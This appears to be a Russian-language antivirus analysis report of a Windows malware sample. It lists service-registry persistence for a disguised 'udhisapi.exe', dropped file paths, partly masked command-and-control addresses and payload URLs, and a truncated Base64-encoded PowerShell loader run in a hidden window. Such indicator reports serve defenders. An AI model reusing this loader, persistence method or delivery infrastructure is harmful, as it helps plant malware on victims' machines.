Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\udhisapi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\udhisapi] 'ImagePath' = '"%WINDIR%\SysWOW64\IDStore\udhisapi.exe"'
- 'udhisapi' "%WINDIR%\SysWOW64\IDStore\udhisapi.exe"
- 'udhisapi' %WINDIR%\SysWOW64\IDStore\udhisapi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABOAHoAaABzADIAegB5AD0AKAAoACcAVgB3ACcAKwAnAGoAdwB6ACcAKQArACcAYQB6ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBQAHIAbwBmAEkAbABlAFwAYQA0AHYAZwBFA...
- %HOMEPATH%\a4vge6s\x1iykxs\dglxjnka9.exe
- %WINDIR%\syswow64\idstore\udhisapi.exe
- %HOMEPATH%\a4vge6s\x1iykxs\dglxjnka9.exe в %WINDIR%\syswow64\idstore\udhisapi.exe
- '76.##8.54.203':80
- http://wy##838.com/wp-content/B/
- http://76.##8.54.203/wZnxrKsDEUKRaFDpjQ/l7E7LKoOtRY3/Lk8RT3/ixKr/DHxwQvjqzx/
- DNS ASK wy##838.com
- '%HOMEPATH%\a4vge6s\x1iykxs\dglxjnka9.exe'
- '%WINDIR%\syswow64\idstore\udhisapi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABOAHoAaABzADIAegB5AD0AKAAoACcAVgB3ACcAKwAnAGoAdwB6ACcAKQArACcAYQB6ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBQAHIAbwBmAEkAbABlAFwAYQA0AHYAZwBFA...' (со скрытым окном)